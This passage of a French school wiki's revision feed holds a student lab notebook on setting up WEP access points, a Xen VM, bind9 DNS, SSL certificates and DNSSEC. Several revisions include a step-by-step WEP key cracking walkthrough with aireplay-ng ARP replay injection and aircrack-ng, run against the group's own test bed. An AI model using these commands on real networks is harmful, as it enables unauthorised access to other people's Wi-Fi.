Nous avons donc téléchargé le fichier et collé dans : &lt;br /&gt;
&lt;br /&gt;
  var/www/www.groseille.space/.well-known/pki-validation/DE2B588C8156976B90DB59420093DEDC.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seulement, notre site n'était uniquement accessible en www.groseille.space mais pas sans les www.&lt;br /&gt;
Après recherches, nous avons donc rajouter une ligne au fichier db.groseille.space dans bind:&lt;br /&gt;
&lt;br /&gt;
  @       IN      A       193.48.57.183&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre demande de certificat est toujours en train d'être exécuté.&lt;br /&gt;
Cependant, une fois que tout sera validé par gandi, nous nous occuperons des fichier .crt, .pem, .key associés:&lt;br /&gt;
&lt;br /&gt;
  cp groseille.space.key /etc/ssl/private/.&lt;br /&gt;
  cp GandiStandardSSLCA2.pem /etc/ssl/certs/. &lt;br /&gt;
  cp groseille.space.crt /etc/ssl/certs/.&lt;br /&gt;
&lt;br /&gt;
  c_rehash /etc/ssl/certs&lt;br /&gt;
&lt;br /&gt;
On modifiera /etc/apache2/sites-available/000-groseille.space-ssl.conf&lt;br /&gt;
&lt;br /&gt;
[[Fichier:GroseilleApache.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On écrira dans ports.conf de apache :&lt;br /&gt;
&lt;br /&gt;
   Listen 80 443&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
           Listen 443&lt;br /&gt;
   &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On activera le module SSL de Apache et notre site avec ces commandes:&lt;br /&gt;
&lt;br /&gt;
   a2enmod ssl&lt;br /&gt;
   a2ensite 000-groseille.space-ssl.conf&lt;br /&gt;
   service apache2 reload&lt;br /&gt;
&lt;br /&gt;
===== Sécurisation de site web par dnssec =====&lt;br /&gt;
&lt;br /&gt;
On cherchera à sécuriser notre serveur DNS en signant la zone correspondant à notre nom de domaine.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier : named.conf.options on ajoutera l'option:&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
On créera le répertoire groseille.space.dnssec pour y générer les clefs.&lt;br /&gt;
&lt;br /&gt;
Dedans, on créera aussi la clef asymétrique de la zone pour signer les enregistrements.&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE groseille.space&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE groseille.space&lt;br /&gt;
&lt;br /&gt;
On les renommera pour avoir : &lt;br /&gt;
&lt;br /&gt;
  groseille.space-ksk.key&lt;br /&gt;
  groseille.space-ksk.private&lt;br /&gt;
  groseille.space-zsk.key&lt;br /&gt;
  groseille.space-zsk.private&lt;br /&gt;
&lt;br /&gt;
On modifiera le fichier /etc/bind/db.groseille.space comme ceci : &lt;br /&gt;
  &lt;br /&gt;
  $include /etc/bind/groseille.space.dnssec/groseille.space-ksk.key&lt;br /&gt;
  $include /etc/bind/groseille.space.dnssec/groseille.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Signature des enregistrements de zone (dans /etc/bind/groseille.space.dnssec)&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o groseille.space -k groseille.space-ksk ../db.groseille.space groseille.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie pour finir le fichier named.conf.local pour avoir db.groseille.space.signed&lt;br /&gt;
&lt;br /&gt;
Après avoir enregistrer le record sur gandi, on attend que gandi prenne en compte les nouvelles configurations.&lt;br /&gt;
On pourra vérifier les modifications grâce aux commandes:&lt;br /&gt;
&lt;br /&gt;
  grep 217.70.177.40 /var/log/daemon.log&lt;br /&gt;
  host -t any groseille.space ns6.gandi.net&lt;br /&gt;
  for f in /var/log/apache2/access.log.*gz ; do zcat $f | grep -i well ; done&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2017_groupe_n%C2%B03&amp;diff=46575</id>
		<title>Cahier 2017 groupe n°3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2017_groupe_n%C2%B03&amp;diff=46575"/>
				<updated>2017-12-05T23:14:05Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Craquage de clé WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Configuration des points d'accès wifi ==&lt;br /&gt;
&lt;br /&gt;
=== présentation ===&lt;br /&gt;
&lt;br /&gt;
Schéma du réseau:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:schema_PRA_2017.jpg|800 px|thumb|center|Schéma du réseau du projet]]&lt;br /&gt;
&lt;br /&gt;
Notre objectif est de mettre en place une VM sur le serveur Cordouan et &lt;br /&gt;
d'installer les points d'accès wifi pour les autres groupes. On cherchera à faire&lt;br /&gt;
un banc de test et de tester la sécurité des chiffrements WEP et WPA.&lt;br /&gt;
&lt;br /&gt;
=== avancement du travail ===&lt;br /&gt;
&lt;br /&gt;
==== séance 1 ====&lt;br /&gt;
&lt;br /&gt;
* Explication du projet&lt;br /&gt;
* Répartition du travail dans les différents groupes&lt;br /&gt;
* Gestion des adresses ip de chacun&lt;br /&gt;
&lt;br /&gt;
==== séance 2 ====&lt;br /&gt;
&lt;br /&gt;
*Exploration des locaux techniques de Polytech&lt;br /&gt;
*Création de la VM Xen sur le serveur Cordouan&lt;br /&gt;
*installation des paquetages nécessaires pour ssh, serveur WEB apache2 et le serveur DNS Bind&lt;br /&gt;
*Achat du domaine : &lt;br /&gt;
&lt;br /&gt;
==== séance 3 ====&lt;br /&gt;
&lt;br /&gt;
*Mise en place des 2 premiers points d'accès wifi.&lt;br /&gt;
*Avancement dans la compréhension de l'utilisation de la clef wifi&lt;br /&gt;
&lt;br /&gt;
==== séance 4 ====&lt;br /&gt;
&lt;br /&gt;
*Mise en place des 5 derniers points d'accès wifi.&lt;br /&gt;
*Connexion faite entre la machine avec la clef wifi et le point d'accès.&lt;br /&gt;
*Configuration de gandi et de notre serveur dns avec bind9&lt;br /&gt;
&lt;br /&gt;
==== séances supplémentaires ====&lt;br /&gt;
&lt;br /&gt;
*Sécurisation de site web par certificats&lt;br /&gt;
*Sécurisation de site web par dnssec&lt;br /&gt;
*crackage de wlef WEP&lt;br /&gt;
&lt;br /&gt;
=== Configuration d'un point d'accès===&lt;br /&gt;
&lt;br /&gt;
Commencer par se mettre en mode configuration:&lt;br /&gt;
  ap&amp;gt;enable&lt;br /&gt;
  ap#configure terminal&lt;br /&gt;
La configuration pour un point d'accès pour une sécurisation WEP est donc:&lt;br /&gt;
  ap(config)#dot11 ssid tomate&lt;br /&gt;
  ap(config-ssid)#authentication open&lt;br /&gt;
  ap(config-ssid)#vlan 8&lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode &lt;br /&gt;
  ap(config-ssid)#exit&lt;br /&gt;
  ap(config)#Interface dot11radio0&lt;br /&gt;
  ap(config)#ssid tomate&lt;br /&gt;
  ap(config-ssid)#no shutdown&lt;br /&gt;
  ap(config-ssid)#Encryption vlan 8 mode wep mandatory&lt;br /&gt;
  ap(config-ssid)#Encryption vlan 8 key 1 size 128bit 05050505050505050505050505&lt;br /&gt;
  ap(config-ssid)#End&lt;br /&gt;
Écrire les modifications:&lt;br /&gt;
  ap#write memory&lt;br /&gt;
Configurer le sous interface pour Dot11 radio 0 et Ethernet.&lt;br /&gt;
  ap#configure terminal&lt;br /&gt;
  ap(config)#interface Dot11Radio0.8&lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 8&lt;br /&gt;
  ap(config-subif)#bridge-group 8&lt;br /&gt;
  ap(config-subif)#interface GigabitEthernet0.8&lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 8&lt;br /&gt;
  ap(config-subif)#bridge-group 8&lt;br /&gt;
  ap(config-subif)#end&lt;br /&gt;
  ap#write memory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Craquage de clé WEP ===&lt;br /&gt;
==== Établissement de connexion ====&lt;br /&gt;
Premièrement il faut s'assurer de l'installation du driver de la clef Wi-fi (présence d'une interface Wi-fi en tapant ''iwconfig''). Dans le cas contraire, il faut installer le driver en suivant la manipulation suivante (l'exemple est pour une clef Netgear):&lt;br /&gt;
*Afficher les dispositif connecté à l'ordinateur par USB:&lt;br /&gt;
  lsusb&lt;br /&gt;
*On récupère les informations représentant la clef, ici '''Intersil ISL3887'''.&lt;br /&gt;
*Suivant le modèle de puce à disposition, il faut télécharger le driver et l'installer. Dans notre cas nous avons suivi le site suivant [https://wiki.debian.org/fr/prism54]&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  wget https://daemonizer.de/prism54/prism54-fw/fw-usb/2.13.25.0.lm87.arm --no-check-certificate&lt;br /&gt;
  mv 2.13.25.0.lm87.arm /lib/firmware/isl3887usb&lt;br /&gt;
  modprobe -r p54usb ; modprobe p54usb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*On remarque maintenant que la LED devient bleu et qu'une interface Wi-fi apparaît avec ''iwconfig''.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois le driver installé, on configure le fichier '''/etc/network/interfaces''' pour attribuer une adresse IP static à la machine et pouvoir se connecter sur un des réseaux Wi-fi disponible (ici le réseau banane):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
auto &amp;lt;nom de l'interface (wlx000fb592236a)&amp;gt;&lt;br /&gt;
 iface &amp;lt;nom de l'interface&amp;gt; inet static&lt;br /&gt;
 address &amp;lt;adresse IP qu'on donne à ce réseau (10.2.0.100)&amp;gt;&lt;br /&gt;
 netmask &amp;lt;masque (255.255.0.0)&amp;gt;&lt;br /&gt;
 wireless-essid &amp;lt;essid (banane)&amp;gt;&lt;br /&gt;
 wireless-key &amp;lt;mot de passe Wi-fi (à regarder dans le doc de la promo)&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour terminer il faut démarrer l'interface Wi-fi pour prendre en compte la nouvelle configuration:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ifdown &amp;lt;nom de l'interface&amp;gt; &lt;br /&gt;
ifup &amp;lt;nom de l'interface&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La connexion doit maintenant être établie.&lt;br /&gt;
&lt;br /&gt;
==== Craquage du mot de passe ====&lt;br /&gt;
*La première étape est de générer du trafic sur le réseau (pour avoir des paquets ARP à capturer), pour cela nous avons utilisé la commande ''Nping'':&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nping --arp-type ARP -c 11000  --flags rst --ttl 2 10.2.0.2&lt;br /&gt;
&lt;br /&gt;
# --arp-type ARP pour préciser que c'est des paquets ARP que l'on veut&lt;br /&gt;
# -c 11000 on va envoyer 11000 paquets, cela nous laissera assez de temps pour craquer la clé.  &lt;br /&gt;
# 10.2.0.2 est l'addresse IP du point d'accès . &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*Nous allons faire passer la clef Wi-fi en mode moniteur&lt;br /&gt;
  airmon-ng start wlx000fb592236b (avec wlx000fb592236b le nom de notre clef Wi-fi obtenu avec ''iwconfig'')&lt;br /&gt;
*En refaisant un ''iwconfig'', on remarque que le nom de notre clef Wi-fi est maintenant '''wlan0mon'''.&lt;br /&gt;
*Il faut maintenant trouver le réseau Wi-fi à craquer. Nous avons besoin des informations suivantes, BSSID, channel (CH) et ESSID.&lt;br /&gt;
  airodump-ng (interface)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:groseilleAirodump-ng.png|600px|thumb|center|Résultat de la commande airodump.]]&lt;br /&gt;
&lt;br /&gt;
*On va maintenant surveiller le réseau et capturer les informations qui circule. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --bssid C4:14:3C:40:78:61 -c 3 -w crack_wep wlan0mon&lt;br /&gt;
# -c 3 précise que le réseau est sur le channel 3.&lt;br /&gt;
# -w crack_wep est le fichier qui va stocker les paquets capturé. &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*Avec la commande ci-dessous nous allons générer encore plus de trafic sur le réseau pour éviter d'attendre très longtemps d'avoir assez de paquets (#Data).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aireplay-ng -3 -b C4:14:3C:40:78:61 -h 00:0F:B5:92:23:6A wlan0mon&lt;br /&gt;
# -3 précise un ARP Request Replay Attack. &lt;br /&gt;
# 00:0F:B5:92:23:6A étant l'addresse MAC de du premier ordinateur qui connecté sur le réseau. &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*Une fois que nous avons capturé assez de paquets, étant donné la longueur des clés nous avons capturé environs 30000 paquets, il suffit de craquer la data capturé dans le fichier .cap avec la commande ci-dessous:&lt;br /&gt;
  aircrack-ng crack_wep-02.cap &lt;br /&gt;
[[Fichier:GroseilleCrackWEPsuccessfull.png|600px|thumb|center|Résultat de craquage de clé WEP.]]&lt;br /&gt;
&lt;br /&gt;
=== Partie commune===&lt;br /&gt;
&lt;br /&gt;
==== Création de la VM ====&lt;br /&gt;
&lt;br /&gt;
Pour suivre le thème de la promo qui porte sur les fruits, nous&lt;br /&gt;
avons crée une machine virtuelle sur le serveur cordouan qui se nomme IMA5-GROSEILLE.&lt;br /&gt;
&lt;br /&gt;
Cette VM hébergera un site web sécurisé qui se nommera www.groseille.space.&lt;br /&gt;
&lt;br /&gt;
Pour cela on utilisera les commandes : &lt;br /&gt;
&lt;br /&gt;
* xen-create-image pour créer la machine virtuelle&lt;br /&gt;
* lv-create pour que les répertoires /var et /home soient sur les partitions LVM de l'hôte.&lt;br /&gt;
&lt;br /&gt;
Une fois la machine virtuelle crée, on créera la session avec:&lt;br /&gt;
&lt;br /&gt;
  xl create IMA5-GROSEILLE.cfg&lt;br /&gt;
dans le repertoire /etc/xen&lt;br /&gt;
&lt;br /&gt;
et :&lt;br /&gt;
&lt;br /&gt;
  xl console IMA5-GROSEILLE&lt;br /&gt;
pour accéder à la VM.&lt;br /&gt;
&lt;br /&gt;
==== Mise en place des services internet ====&lt;br /&gt;
&lt;br /&gt;
===== Serveur dns =====&lt;br /&gt;
&lt;br /&gt;
On installe notre outil de serveur web et de serveur de DNS&lt;br /&gt;
&lt;br /&gt;
  apt-get install apache2&lt;br /&gt;
  apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se place dans le dossier : /etc/bind et &lt;br /&gt;
on crée le fichier : db.groseille.space pour notre adresse ip (193.48.57.183)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:db.groseille.space.png|600px]]&lt;br /&gt;
&lt;br /&gt;
ps : Correction faite après coup : Ajout de la ligne :&lt;br /&gt;
&lt;br /&gt;
   	IN	NS	ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on spécifie notre zone dans le fichier named.conf.local&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Groseille_named.conf.local.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On redémarre le service pour appliquer les changements: &lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Et on configure le nom de dns sur le site de gandi.&lt;br /&gt;
Dans name servers :&lt;br /&gt;
&lt;br /&gt;
  DNS1 : ns.groseille.space&lt;br /&gt;
  DNS2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Dans Glue records:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Groseille_glue_records.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===== Serveur ssh =====&lt;br /&gt;
&lt;br /&gt;
Pour installer le service, nous installons tout d'abords le package openssh-server&lt;br /&gt;
&lt;br /&gt;
  apt-get install openssh-server&lt;br /&gt;
&lt;br /&gt;
Notre utilisateur est root. Il nous faut donc autoriser l'accès directement en root.&lt;br /&gt;
&lt;br /&gt;
  vim /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
et tapez ou décommentez:&lt;br /&gt;
&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
On peut donc maintenant se connecter en ssh à notre machine virtuelle en tapant:&lt;br /&gt;
&lt;br /&gt;
  ssh root@www.groseille.space&lt;br /&gt;
&lt;br /&gt;
===== Sécurisation de site web par certificats =====&lt;br /&gt;
&lt;br /&gt;
Après avoir naviguer dans les pages de gandi pour sécuriser notre site web via ssl, gandi nous demande un fichier csr.&lt;br /&gt;
On le générera comme ceci:&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha1 -keyout groseille.space.key -out groseille.space.csr&lt;br /&gt;
&lt;br /&gt;
On remplira par la suite les informations ci-dessous:&lt;br /&gt;
&lt;br /&gt;
  Country Name (2 letter code) [AU]:FR&lt;br /&gt;
  State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
  Locality Name (eg, city) []:Villeneuve d'ascq&lt;br /&gt;
  Organization Name (eg, company) [Internet Widgits Pty Ltd]:groseille.space&lt;br /&gt;
  Organizational Unit Name (eg, section) []:groseille.space&lt;br /&gt;
  Common Name (e.g. server FQDN or YOUR name) []:groseille.space&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En choisissant la troisième option, gandi nous demandait de mettre un fichier à la racine.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Gandi_3options.png|300px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons donc téléchargé le fichier et collé dans : &lt;br /&gt;
&lt;br /&gt;
  var/www/www.groseille.space/.well-known/pki-validation/DE2B588C8156976B90DB59420093DEDC.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seulement, notre site n'était uniquement accessible en www.groseille.space mais pas sans les www.&lt;br /&gt;
Après recherches, nous avons donc rajouter une ligne au fichier db.groseille.space dans bind:&lt;br /&gt;
&lt;br /&gt;
  @       IN      A       193.48.57.183&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre demande de certificat est toujours en train d'être exécuté.&lt;br /&gt;
Cependant, une fois que tout sera validé par gandi, nous nous occuperons des fichier .crt, .pem, .key associés:&lt;br /&gt;
&lt;br /&gt;
  cp groseille.space.key /etc/ssl/private/.&lt;br /&gt;
  cp GandiStandardSSLCA2.pem /etc/ssl/certs/. &lt;br /&gt;
  cp groseille.space.crt /etc/ssl/certs/.&lt;br /&gt;
&lt;br /&gt;
  c_rehash /etc/ssl/certs&lt;br /&gt;
&lt;br /&gt;
On modifiera /etc/apache2/sites-available/000-groseille.space-ssl.conf&lt;br /&gt;
&lt;br /&gt;
[[Fichier:GroseilleApache.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On écrira dans ports.conf de apache :&lt;br /&gt;
&lt;br /&gt;
   Listen 80 443&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
           Listen 443&lt;br /&gt;
   &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On activera le module SSL de Apache et notre site avec ces commandes:&lt;br /&gt;
&lt;br /&gt;
   a2enmod ssl&lt;br /&gt;
   a2ensite 000-groseille.space-ssl.conf&lt;br /&gt;
   service apache2 reload&lt;br /&gt;
&lt;br /&gt;
===== Sécurisation de site web par dnssec =====&lt;br /&gt;
&lt;br /&gt;
On cherchera à sécuriser notre serveur DNS en signant la zone correspondant à notre nom de domaine.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier : named.conf.options on ajoutera l'option:&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
On créera le répertoire groseille.space.dnssec pour y générer les clefs.&lt;br /&gt;
&lt;br /&gt;
Dedans, on créera aussi la clef asymétrique de la zone pour signer les enregistrements.&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE groseille.space&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE groseille.space&lt;br /&gt;
&lt;br /&gt;
On les renommera pour avoir : &lt;br /&gt;
&lt;br /&gt;
  groseille.space-ksk.key&lt;br /&gt;
  groseille.space-ksk.private&lt;br /&gt;
  groseille.space-zsk.key&lt;br /&gt;
  groseille.space-zsk.private&lt;br /&gt;
&lt;br /&gt;
On modifiera le fichier /etc/bind/db.groseille.space comme ceci : &lt;br /&gt;
  &lt;br /&gt;
  $include /etc/bind/groseille.space.dnssec/groseille.space-ksk.key&lt;br /&gt;
  $include /etc/bind/groseille.space.dnssec/groseille.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Signature des enregistrements de zone (dans /etc/bind/groseille.space.dnssec)&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o groseille.space -k groseille.space-ksk ../db.groseille.space groseille.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie pour finir le fichier named.conf.local pour avoir db.groseille.space.signed&lt;br /&gt;
&lt;br /&gt;
Après avoir enregistrer le record sur gandi, on attend que gandi prenne en compte les nouvelles configurations.&lt;br /&gt;
On pourra vérifier les modifications grâce aux commandes:&lt;br /&gt;
&lt;br /&gt;
  grep 217.70.177.40 /var/log/daemon.log&lt;br /&gt;
  host -t any groseille.space ns6.gandi.net&lt;br /&gt;
  for f in /var/log/apache2/access.log.*gz ; do zcat $f | grep -i well ; done&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2017_groupe_n%C2%B03&amp;diff=46574</id>
		<title>Cahier 2017 groupe n°3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2017_groupe_n%C2%B03&amp;diff=46574"/>
				<updated>2017-12-05T22:34:47Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Crackage du mot de passe du point d'accès (WEP) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Configuration des points d'accès wifi ==&lt;br /&gt;
&lt;br /&gt;
=== présentation ===&lt;br /&gt;
&lt;br /&gt;
Schéma du réseau:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:schema_PRA_2017.jpg|800 px|thumb|center|Schéma du réseau du projet]]&lt;br /&gt;
&lt;br /&gt;
Notre objectif est de mettre en place une VM sur le serveur Cordouan et &lt;br /&gt;
d'installer les points d'accès wifi pour les autres groupes. On cherchera à faire&lt;br /&gt;
un banc de test et de tester la sécurité des chiffrements WEP et WPA.&lt;br /&gt;
&lt;br /&gt;
=== avancement du travail ===&lt;br /&gt;
&lt;br /&gt;
==== séance 1 ====&lt;br /&gt;
&lt;br /&gt;
* Explication du projet&lt;br /&gt;
* Répartition du travail dans les différents groupes&lt;br /&gt;
* Gestion des adresses ip de chacun&lt;br /&gt;
&lt;br /&gt;
==== séance 2 ====&lt;br /&gt;
&lt;br /&gt;
*Exploration des locaux techniques de Polytech&lt;br /&gt;
*Création de la VM Xen sur le serveur Cordouan&lt;br /&gt;
*installation des paquetages nécessaires pour ssh, serveur WEB apache2 et le serveur DNS Bind&lt;br /&gt;
*Achat du domaine : &lt;br /&gt;
&lt;br /&gt;
==== séance 3 ====&lt;br /&gt;
&lt;br /&gt;
*Mise en place des 2 premiers points d'accès wifi.&lt;br /&gt;
*Avancement dans la compréhension de l'utilisation de la clef wifi&lt;br /&gt;
&lt;br /&gt;
==== séance 4 ====&lt;br /&gt;
&lt;br /&gt;
*Mise en place des 5 derniers points d'accès wifi.&lt;br /&gt;
*Connexion faite entre la machine avec la clef wifi et le point d'accès.&lt;br /&gt;
*Configuration de gandi et de notre serveur dns avec bind9&lt;br /&gt;
&lt;br /&gt;
==== séances supplémentaires ====&lt;br /&gt;
&lt;br /&gt;
*Sécurisation de site web par certificats&lt;br /&gt;
*Sécurisation de site web par dnssec&lt;br /&gt;
*crackage de wlef WEP&lt;br /&gt;
&lt;br /&gt;
=== Configuration d'un point d'accès===&lt;br /&gt;
&lt;br /&gt;
Commencer par se mettre en mode configuration:&lt;br /&gt;
  ap&amp;gt;enable&lt;br /&gt;
  ap#configure terminal&lt;br /&gt;
La configuration pour un point d'accès pour une sécurisation WEP est donc:&lt;br /&gt;
  ap(config)#dot11 ssid tomate&lt;br /&gt;
  ap(config-ssid)#authentication open&lt;br /&gt;
  ap(config-ssid)#vlan 8&lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode &lt;br /&gt;
  ap(config-ssid)#exit&lt;br /&gt;
  ap(config)#Interface dot11radio0&lt;br /&gt;
  ap(config)#ssid tomate&lt;br /&gt;
  ap(config-ssid)#no shutdown&lt;br /&gt;
  ap(config-ssid)#Encryption vlan 8 mode wep mandatory&lt;br /&gt;
  ap(config-ssid)#Encryption vlan 8 key 1 size 128bit 05050505050505050505050505&lt;br /&gt;
  ap(config-ssid)#End&lt;br /&gt;
Écrire les modifications:&lt;br /&gt;
  ap#write memory&lt;br /&gt;
Configurer le sous interface pour Dot11 radio 0 et Ethernet.&lt;br /&gt;
  ap#configure terminal&lt;br /&gt;
  ap(config)#interface Dot11Radio0.8&lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 8&lt;br /&gt;
  ap(config-subif)#bridge-group 8&lt;br /&gt;
  ap(config-subif)#interface GigabitEthernet0.8&lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 8&lt;br /&gt;
  ap(config-subif)#bridge-group 8&lt;br /&gt;
  ap(config-subif)#end&lt;br /&gt;
  ap#write memory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Craquage de clé WEP ===&lt;br /&gt;
==== Établissement de connexion ====&lt;br /&gt;
Premièrement il faut s'assurer de l'installation du driver de la clef Wi-fi (présence d'une interface Wi-fi en tapant ''iwconfig''). Dans le cas contraire, il faut installer le driver en suivant la manipulation suivante (l'exemple est pour une clef Netgear):&lt;br /&gt;
*Afficher les dispositif connecté à l'ordinateur par USB:&lt;br /&gt;
  lsusb&lt;br /&gt;
*On récupère les informations représentant la clef, ici '''Intersil ISL3887'''.&lt;br /&gt;
*Suivant le modèle de puce à disposition, il faut télécharger le driver et l'installer. Dans notre cas nous avons suivi le site suivant [https://wiki.debian.org/fr/prism54]&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  wget https://daemonizer.de/prism54/prism54-fw/fw-usb/2.13.25.0.lm87.arm --no-check-certificate&lt;br /&gt;
  mv 2.13.25.0.lm87.arm /lib/firmware/isl3887usb&lt;br /&gt;
  modprobe -r p54usb ; modprobe p54usb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*On remarque maintenant que la LED devient bleu et qu'une interface Wi-fi apparaît avec ''iwconfig''.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois le driver installé, on configure le fichier '''/etc/network/interfaces''' pour attribuer une adresse IP static à la machine et pouvoir se connecter sur un des réseaux Wi-fi disponible (ici le réseau banane):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
auto &amp;lt;nom de l'interface (wlx000fb592236a)&amp;gt;&lt;br /&gt;
 iface &amp;lt;nom de l'interface&amp;gt; inet static&lt;br /&gt;
 address &amp;lt;adresse IP qu'on donne à ce réseau (10.2.0.100)&amp;gt;&lt;br /&gt;
 netmask &amp;lt;masque (255.255.0.0)&amp;gt;&lt;br /&gt;
 wireless-essid &amp;lt;essid (banane)&amp;gt;&lt;br /&gt;
 wireless-key &amp;lt;mot de passe Wi-fi (à regarder dans le doc de la promo)&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour terminer il faut démarrer l'interface Wi-fi pour prendre en compte la nouvelle configuration:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ifdown &amp;lt;nom de l'interface&amp;gt; &lt;br /&gt;
ifup &amp;lt;nom de l'interface&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La connexion doit maintenant être établie.&lt;br /&gt;
&lt;br /&gt;
==== Craquage du mot de passe ====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:groseilleAirodump-ng.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:GroseilleCrackWEPsuccessfull.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=== Partie commune===&lt;br /&gt;
&lt;br /&gt;
==== Création de la VM ====&lt;br /&gt;
&lt;br /&gt;
Pour suivre le thème de la promo qui porte sur les fruits, nous&lt;br /&gt;
avons crée une machine virtuelle sur le serveur cordouan qui se nomme IMA5-GROSEILLE.&lt;br /&gt;
&lt;br /&gt;
Cette VM hébergera un site web sécurisé qui se nommera www.groseille.space.&lt;br /&gt;
&lt;br /&gt;
Pour cela on utilisera les commandes : &lt;br /&gt;
&lt;br /&gt;
* xen-create-image pour créer la machine virtuelle&lt;br /&gt;
* lv-create pour que les répertoires /var et /home soient sur les partitions LVM de l'hôte.&lt;br /&gt;
&lt;br /&gt;
Une fois la machine virtuelle crée, on créera la session avec:&lt;br /&gt;
&lt;br /&gt;
  xl create IMA5-GROSEILLE.cfg&lt;br /&gt;
dans le repertoire /etc/xen&lt;br /&gt;
&lt;br /&gt;
et :&lt;br /&gt;
&lt;br /&gt;
